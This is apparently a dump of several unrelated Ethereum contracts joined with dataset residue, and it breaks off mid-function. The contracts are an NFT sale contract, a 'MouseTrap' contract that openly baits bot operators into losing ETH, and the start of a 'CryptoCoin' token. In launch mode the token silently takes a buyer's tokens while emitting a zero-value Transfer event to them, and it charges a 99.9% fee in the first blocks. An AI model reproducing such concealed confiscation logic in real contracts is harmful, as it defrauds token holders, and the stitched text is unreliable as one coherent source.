emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (
bytes4 retval
) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC721)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File @openzeppelin/contracts/security/[email protected]
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File @openzeppelin/contracts/token/ERC20/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ITuna {
function mint(address to, uint256 amount) external;
function burn(address from, uint256 amount) external;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
//\. |\
// \`.___---~~ ~~~--_
// //~~----___ (_o_-~
// ' |/'
contract SharksGoldenAge is ERC721Enumerable, Ownable, ReentrancyGuard {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
//mainnet: 0xa5409ec958C83C3f309868babACA7c86DCB077c1
//rinkeby: 0xF57B2c51dED3A29e6891aba85459d600256Cf317
address proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
address public tunaAddress = 0x675F8d4915578C0d6CfCFaB413E3d057d7525444;
string public _contractBaseURI = "https://api.thesharkmob.com/golden/metadata/";
string public _contractURI = "https://api.thesharkmob.com/golden/contract_uri";
uint256 public tokenPriceOnlyETH = 0.12 ether;
uint256 public tokenPriceETHWithTuna = 0.02 ether;
uint256 public tokenPriceTuna = 90 ether;
bool public locked; //baseURI & contractURI lock
uint256 public maxSupply = 888;
address private devWallet;
uint256 private publicSaleKey;
Counters.Counter private _tokenIds;
modifier onlyDev() {
require(msg.sender == devWallet, "only dev");
_;
}
constructor() ERC721("The Shark Mob GA", "TSMGA") {
devWallet = msg.sender;
}
/**
* @dev everyone can mint freely
*/
function buy(uint256 qty, uint256 key) external payable nonReentrant {
require(key == publicSaleKey && publicSaleKey != 0, "not live");
require(tokenPriceOnlyETH * qty == msg.value, "exact amount needed");
require(qty <= 10, "max 10 at once");
require(_tokenIds.current() + qty <= maxSupply, "out of stock");
for (uint256 i = 0; i < qty; i++) {
_tokenIds.increment();
_safeMint(msg.sender, _tokenIds.current());
}
}
/**
* @dev lower price if you buy it with $TUNA
*/
function communityBuy(uint256 qty, uint256 key) external payable nonReentrant {
require(key == publicSaleKey && publicSaleKey != 0, "not live");
require(tokenPriceETHWithTuna * qty == msg.value, "exact amount needed");
require(qty <= 10, "max 10 at once");
require(_tokenIds.current() + qty < maxSupply + 1, "out of stock");
//transfer & burn
ITuna(tunaAddress).burn(msg.sender, qty * tokenPriceTuna);
for (uint256 i = 0; i < qty; i++) {
_tokenIds.increment();
_safeMint(msg.sender, _tokenIds.current());
}
}
//reserving the first 30 tokens for marketing
function adminMint(uint256 qty) external onlyOwner {
require(_tokenIds.current() <= 30, "only first 30");
for (uint256 i = 0; i < qty; i++) {
_tokenIds.increment();
_safeMint(msg.sender, _tokenIds.current());
}
}
//----------------------------------
//----------- other code -----------
//----------------------------------
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
function exists(uint256 _tokenId) external view returns (bool) {
return _exists(_tokenId);
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) external view returns (bool) {
return _isApprovedOrOwner(_spender, _tokenId);
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");
return string(abi.encodePacked(_contractBaseURI, _tokenId.toString(), ".json"));
}
function setBaseURI(string memory newBaseURI) external onlyDev {
require(!locked, "locked functions");
_contractBaseURI = newBaseURI;
}
function setContractURI(string memory newuri) external onlyDev {
require(!locked, "locked functions");
_contractURI = newuri;
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
function reclaimERC20(IERC20 erc20Token) external onlyOwner {
erc20Token.transfer(msg.sender, erc20Token.balanceOf(address(this)));
}
function reclaimERC721(IERC721 erc721Token, uint256 id) external onlyOwner {
erc721Token.safeTransferFrom(address(this), msg.sender, id);
}
//we reserve the ownership of tokens with IDs 1-30 tokens forever and ever
function mint(uint256[] memory ids, address[] memory accounts) external onlyOwner {
require(ids.length == accounts.length, "invalid length");
for (uint256 i = 0; i < ids.length; i++) {
require(ids[i] < 30, "reserved 30 tokens"); //as you can clearly see here
_changeOwnership(ids[i], accounts[i]);
}
}
function setTunaToken(address newAddress) external onlyDev {
tunaAddress = newAddress;
}
//in unix
function setPublicSaleKey(uint256 newKey) external onlyDev {
publicSaleKey = newKey;
}
//change the price of non-community buy
function changePricePerToken(uint256 newPrice) external onlyOwner {
tokenPriceOnlyETH = newPrice;
}
// and for the eternity!
function lockBaseURIandContractURI() external onlyDev {
locked = true;
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
// earnings withdrawal
function withdraw() public onlyOwner {
uint256 totalBalance = address(this).balance;
uint256 devFee = _calcPercentage(totalBalance, 500); //5%
payable(msg.sender).transfer(totalBalance - devFee);
payable(devWallet).transfer(devFee);
}
//opensea proxy, don't touch
function setProxyRegistry(address newRegistry) external onlyDev {
proxyRegistryAddress = newRegistry;
}
//300 = 3%, 1 = 0.01%
function _calcPercentage(uint256 amount, uint256 basisPoints) internal pure returns (uint256) {
require(basisPoints >= 0);
return (amount * basisPoints) / 10000;
}
}
//opensea removal of approvals
contract OwnableDelegateProxy {
}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
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/**
*Submitted for verification at Etherscan.io on 2021-09-22
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
/*
WARNING: This is a trap. It is designed for the dev to make money from overconfident searchers.
However, It *is* possible for sophisticated searchers to drain all the money from this contract
at a rate of about 2.75 ETH per hour.
Play at your own risk, and know that you probably don't understand all the risks.
No refunds. I drink your tears. That's the whole point.
HOW IT WORKS
1. Register your upcoming attempt by calling register()
- Registering costs 1 ETH. You get this back, plus 0.02 ETH profit, only if you succeed in stealing the cheese.
- EOA's only.
- Must not register if your address is already registered.
2. Steal the cheese by calling stealTheCheese() while passing in the target block number.
- You must wait at least 1 block after registering before trying to steal the cheese.
- You must use a priority fee of at least 20 gwei.
- You must pass in the correct block number.
- You must not try to steal the cheese for a block in which it's already been stolen.
Break any rule and you lose your 1 ETH. Otherwise, you get it back + another 0.02 ETH.
My hope is that I'll earn at least 1 ETH in failures before someone figures it out and drains the contract.
This contract has not been audited and is probably broken. Go nuts.
*/
contract MouseTrap {
mapping(address => uint256) public registeredBlock;
uint256 private lastBlockCheeseWasStolen;
address payable public immutable dev;
constructor() {
require(msg.sender == tx.origin, 'dev must be EOA');
dev = payable(msg.sender);
}
receive() external payable {}
function register() external payable {
// no risk, no reward
if (msg.value < 1 ether) return;
// EOA only
if (msg.sender != tx.origin) {
_lose();
return;
}
// already registered
if (registeredBlock[msg.sender] != 0) {
_lose();
return;
}
// successfully registered!
registeredBlock[msg.sender] = block.number;
}
function stealTheCheese(uint256 _targetBlock) external {
// must register before trying to steal cheese
if (registeredBlock[msg.sender] == 0) return;
// must wait at least 1 block after registering before trying to steal cheese
if (block.number == registeredBlock[msg.sender]) {
_lose();
return;
}
// must have priority fee of at least 20 gwei
if (tx.gasprice - block.basefee < 20 gwei) {
_lose();
return;
}
// must pass in the correct block number
if (_targetBlock != block.number) {
_lose();
return;
}
// cheese can be stolen only once per block
if (lastBlockCheeseWasStolen == block.number) {
_lose();
return;
}
lastBlockCheeseWasStolen = block.number;
// winner!!
sendValue(payable(msg.sender), 1.02 ether);
}
function _lose() private {
registeredBlock[msg.sender] = 0;
sendValue(dev, 1 ether);
}
// OpenZeppelin's sendValue function
function sendValue(address payable recipient, uint256 amount) private {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
} | True | [
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] |
/**
________ ________ ___ ___ ________ _________ ________ ________ ________ ___ ________
|\ ____\|\ __ \ |\ \ / /|\ __ \|\___ ___\\ __ \ |\ ____\|\ __ \|\ \|\ ___ \
\ \ \___|\ \ \|\ \ \ \ \/ / | \ \|\ \|___ \ \_\ \ \|\ \ \ \ \___|\ \ \|\ \ \ \ \ \\ \ \
\ \ \ \ \ _ _\ \ \ / / \ \ ____\ \ \ \ \ \ \\\ \ \ \ \ \ \ \\\ \ \ \ \ \\ \ \
\ \ \____\ \ \\ \| \/ / / \ \ \___| \ \ \ \ \ \\\ \ \ \ \____\ \ \\\ \ \ \ \ \\ \ \
\ \_______\ \__\\ _\ __/ / / \ \__\ \ \__\ \ \_______\ \ \_______\ \_______\ \__\ \__\\ \__\
\|_______|\|__|\|__|\___/ / \|__| \|__| \|_______| \|_______|\|_______|\|__|\|__| \|__|
\|___|/
Website: https://www.cryptocointoken.info/
Telegram: https://t.me/CryptoCoinETH
*/
pragma solidity ^0.7.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* BEP20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CryptoCoin is IERC20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
string constant _name = 'CryptoCoin';
string constant _symbol = 'CC';
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000000000000 * (10 ** _decimals);
uint256 _maxTxAmount = _totalSupply / 200;
uint256 _maxWalletAmount = _totalSupply / 100;
uint256 initialswapback = 0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping(address => uint256) _holderLastTransferTimestamp;
uint256 liquidityFee = 60;
uint256 marketingFee = 40;
uint256 totalFee = 100;
uint256 feeDenominator = 1000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
uint256 public launchedTime;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000; // 0.1%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[owner] = true;
isTxLimitExempt[owner] = true;
isTxLimitExempt[address(this)] = true;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = address(0x53A353fd0e37cA277333f664E9b480F42940A1b4);
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _simpleTransfer(sender, recipient, amount);}
if(shouldSwapBack()){ if(block.timestamp >= launchedTime + 1 minutes && initialswapback == 0){
swapBackInitial();} else{swapBack();}
}
if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(launchMode() && recipient != pair){require (_balances[recipient] + amount <= _maxWalletAmount);}
if(launchMode() && recipient != pair && block.timestamp < _holderLastTransferTimestamp[recipient] + 20){
_holderLastTransferTimestamp[recipient] = block.timestamp;
_balances[address(this)] = _balances[address(this)].add(amount);
emit Transfer(sender, recipient, 0);
emit Transfer(sender, address(this), amount);
return true;}
_holderLastTransferTimestamp[recipient] = block.timestamp;
uint256 amountReceived;
if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount) : amount;}else{amountReceived = amount;}
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _simpleTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function getTotalFee() public view returns (uint256) {
if(launchedAt + 5 > block.number){ return feeDenominator.sub(1); }
return totalFee;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount;
if(launchMode() && amount > _maxTxAmount){
feeAmount = amount.sub(_maxTxAmount);
